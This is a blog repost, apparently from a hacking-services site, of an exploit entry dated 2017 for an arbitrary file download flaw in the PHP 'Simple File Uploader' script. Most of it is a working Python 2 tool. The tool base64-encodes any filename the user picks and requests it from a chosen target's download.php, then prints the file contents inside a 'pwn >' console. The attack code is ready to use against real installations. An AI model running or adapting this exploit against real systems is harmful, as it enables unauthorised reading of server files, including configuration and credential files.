Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86394699

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Simple File Uploader - Arbitrary File Download 
# Date: 27/04/2017
# Exploit Author: Daniel Godoy
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/simple-file-uploader-explorer-and-manager-php-based-secured-file-manager/18393053
# Tested on: GNU/Linux
# GREETZ: Rodrigo Mouriño, Rodrigo Avila, #RemoteExecution Team




POC

#!/usr/bin/env python
#https://pastebin.com/HeT7RuRU
import os,re,requests,time,base64
os.system('clear') 

BLUE = '\033[94m'
RED = '\033[91m'
GREEN = '\033[32m'
CYAN = "\033[96m"
WHITE = "\033[97m"
YELLOW = "\033[93m"
MAGENTA = "\033[95m"
GREY = "\033[90m"
DEFAULT = "\033[0m"

def banner():
	print WHITE+""
	print "                                              ##          ## "
	print "                                                ##      ##    "     
	print "                                              ############## "
	print "                                            ####  ######  #### "
	print "                                          ###################### "
	print "                                          ##  ##############  ##     "
	print "                                          ##  ##          ##  ## "
	print "                                                ####  ####"
	print ""

def details():
	print WHITE+"                              =[" + YELLOW + "Simple File Uploader Download Tool v1.0.0 "
	print ""

def core_commands():
	os.system('clear')
	print WHITE+'''Core Commands\n===============\n
Command\t\t\tDescription\n-------\t\t\t-----------\n
?\t\t\tHelp menu
quit\t\t\tExit the console
info\t\t\tDisplay information
download\t\t\tExploit Vulnerability

	'''

def about():
	os.system('clear')
	print WHITE+'''Simple File Uploader Download Tool v1.0.0 \n===============\n
Author\t\t\tDescription\n-------\t\t\t-----------\n
Daniel Godoy\t\thttps://www.exploit-db.com/author/?a=3146
	'''

def download():
	other = 'a'
	while other != 'n':
			urltarget = str(raw_input(WHITE+'Target: '))
			filename =  str(raw_input(WHITE+'FileName: '))
			filename =  base64.b64encode(filename)
			print RED+"[x]Sending Attack: "+WHITE+urltarget+'download.php?id='+filename
			final = urltarget+'download.php?id='+filename
			r = requests.get(final)
			print r.text
			other = str(raw_input(WHITE+'Test other file? y/n: '))
			if other == "n":
				print "Type quit to exit. Bye!"



banner()
details()

option='0'
while option != 0:
	option = (raw_input(RED+"pwn" + WHITE +" > "))
	if option == "quit":
		os.system('clear')
		option = 0
	elif option == "?":
		core_commands()
	elif option == "help":
		core_commands()
	elif option == "about":
		about()
	elif option == "download":
		download()
	elif option == "info":
		about()
	else:
		print "Not a valid option! Need help? Press ? to display core commands " +GREEN